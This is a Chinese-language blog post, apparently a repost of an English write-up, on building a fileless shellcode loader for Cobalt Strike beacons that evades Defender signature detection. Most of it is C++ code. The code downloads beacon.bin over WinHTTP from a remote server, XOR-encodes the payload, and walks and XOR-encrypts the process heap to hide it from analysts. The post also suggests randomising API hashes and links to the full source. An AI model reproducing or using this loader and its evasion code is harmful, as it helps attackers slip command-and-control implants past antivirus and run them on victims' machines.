最近,我正在开发一个简单的 Shellcode 加载器,它使用回调作为 Shellcode 执行的替代方案。虽然它可以绕过每次运行时扫描,但无法绕过签名检测。因此,我启动了ThreatCheck来识别坏字节:
乍一看,无法理解到底检测到了什么,所以我启动了GHidra来手动识别这些坏字节。我只是从 ThreadCheck ( 00 1F CC 07 00 15 CC 07 ) 中复制了一个随机模式,并尝试在恶意软件的编译 EXE 内存中进行搜索。
这显然是我在 Shellcode Loader 中实现的 XOR 加密 Shellcode,Defender 将其检测为 Cobalt Strike 代理。看来 XOR 加密例程在静态检测方面不够强大,这让我开始思考:存储的 shellcode 真的死了吗(尤其是从 Cobalt Strike 生成的 shellcode)?我不会感到惊讶,因为目前 Cobalt Strike 是威胁行为者中最流行的 C2 框架,但必须采取一些措施使 Shellcode 再次变得强大且不可检测。
RAW Shellcodes:它们有什么问题?
Cobalt Strike 的有效载荷基于 Meterpreter shellcode,并且包含许多相似(有时相同)的 API 哈希(x86和x64版本)。
Cobalt Strike 使用的默认哈希https://kleiton0x00.github.io/posts/Shellcodes-are-dead-long-live-fileless-shellcodes/是经过高度签名的;我们可以通过执行动态哈希编码来获得此类哈希的解决方案。如果你看下面的图片,哈希值是InternetOpenA0xa779563a的默认哈希。如果你简单地谷歌一下哈希,所有与 Metaploit 相关的内容都会出现,因此这个哈希被认为主要由 Cobalt Strike 信标和 Meterpreter 代理使用。对此类哈希应用 ror13 哈希将大大减少 AV 供应商的检测(几乎为 0)。由于这篇文章https://www.huntress.com/blog/hackers-no-hashing-randomizing-api-hashes-to-evade-cobalt-strike-shellcode-detection已经很好地解释过了,我不会进一步解释,但下面的图片给出了对哈希进行编码后的最终结果的概念。
无文件 Shellcode 来帮忙
虽然这不是什么新鲜事,但无文件 shellcode 是避免签名检测的一种好方法,即从互联网上检索 shellcode。这样,您就可以解决大熵和任何可能的签名检测的问题。下图是传统 XORed 加密 shellcode 和我们的无文件 shellcode 加载器的比较。由于 shellcode 不必存储在 .text 部分中,因此熵将大幅下降(请记住):
完整的源代码可以在这里找到https://github.com/kleiton0x00/RemoteShellcodeExec/,但在本文中,我将尝试分解代码以便于理解。
为了从 HTTP 服务器请求 shellcode,我将使用winhttp库。或者,您可以使用套接字,根据一些研究,这可能是更好的解决方案,可能会导致较低的运行时检测(因为 Winsocket 的 API 可能会被挂钩)。以下代码负责向远程服务器发送 HTTP 请求并等待响应:
1// Initialize WinHTTP 2 hInternet = WinHttpOpen(NULL, WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0); 3 4 5 // Connect to the HTTP server 6 hHttpSession = WinHttpConnect(hInternet, L"192.168.0.60", 80, 0); //192.168.0.60:8081 7 8 9 // Open an HTTP request 10 hHttpRequest = WinHttpOpenRequest(hHttpSession, L"GET", L"/beacon.bin", NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0); 11 12 13 // Send a request 14 bResults = WinHttpSendRequest(hHttpRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0); 15 16 17 // Wait for the response 18 bResults = WinHttpReceiveResponse(hHttpRequest, NULL);
WinHTTP 分块接收响应,因此我们需要循环直到检索到所有内容:
1do
2 {
3 dwSize = 0;
4 if (!WinHttpQueryDataAvailable(hHttpRequest, &dwSize))
5 {
6 printf("Error %u in WinHttpQueryDataAvailable.\n", GetLastError());
7 }
8
9
10 // Allocate space for the buffer.
11 pszOutBuffer = new char[dwSize + 1];
12
13
14 // No more available data
15 if (!pszOutBuffer) {
16 printf("[-] No more available data");
17 dwSize = 0;
18 }
19
20
21 // Read the Data.
22 ZeroMemory(pszOutBuffer, dwSize + 1);
23
24
25 if (!WinHttpReadData(hHttpRequest, (LPVOID)pszOutBuffer,
26 dwSize, &dwDownloaded))
27 printf("Error %u in WinHttpReadData.\n", GetLastError());
28 else
29 PEbuf.insert(PEbuf.end(), pszOutBuffer, pszOutBuffer + dwDownloaded);
30
31
32 } while (dwSize > 0);
最后,确保将每个块存储在矢量数组中:
1char* PE = (char*)malloc(PEbuf.size());
2 for (int i = 0; i < PEbuf.size(); i++) {
3 PE[i] = PEbuf[i];
4 }
加密总是有用的
请注意以下部分:
1char* PE = (char*)malloc(PEbuf.size());
2 for (int i = 0; i < PEbuf.size(); i++) {
3 PE[i] = PEbuf[i];
4 }
从团队服务器检索到的 shellcode 存储在堆中,这使得蓝队可以轻松分析堆并发现里面的内容(显然是我们的未加密的 shellcode):
此外,在堆中加密 shellcode 总是一个更好的主意:
1char* PE = (char*)malloc(PEbuffer.size()); 2 for (int i = 0; i < PEbuf.size(); i++) { 3 PE[i] = PEbuffer[i] ^ 0x7e; //XOR encrypted 4 } 5 XOR(PE, PEbuffer.size(), key);
其中XOR是解密数组的基本函数:
1void XOR(char* data, int len, unsigned char key) {
2 int i;
3 for (i = 0; i < len; i++)
4 data[i] ^= key;
5}
不惜一切代价保护堆
加密堆是个好主意,因为它可以保护可能存储在堆中的敏感数据。当程序在不受信任的环境中运行时,这一点尤其重要,因为存储在堆中的任何数据都可能被恶意软件分析器分析。
1// Encryption Key
2const char key[2] = "A";
3size_t keySize = sizeof(key);
4
5
6
7
8void xor_bidirectional_encode(const char* key, const size_t keyLength, char* buffer, const size_t length) {
9 for (size_t i = 0; i < length; ++i) {
10 buffer[i] ^= key[i % keyLength];
11 }
12}
13
14
15
16
17PROCESS_HEAP_ENTRY entry;
18void HeapEncryptDecrypt() {
19 SecureZeroMemory(&entry, sizeof(entry));
20 while (HeapWalk(GetProcessHeap(), &entry)) {
21 if ((entry.wFlags & PROCESS_HEAP_ENTRY_BUSY) != 0) {
22 xor_bidirectional_encode(key, keySize, (char*)(entry.lpData), entry.cbData);
23 }
24 }
25}
HeapWalk ()函数用于遍历进程堆中的每个堆条目,并检查该条目是否繁忙。如果繁忙,则使用 xor_bidirectional_encode() 函数对该条目进行加密和解密。这是通过使用 XOR 运算对数据进行加密和解密来实现的。
Profit
感谢您抽出
.
.
来阅读本文
点它,分享点赞在看都在这里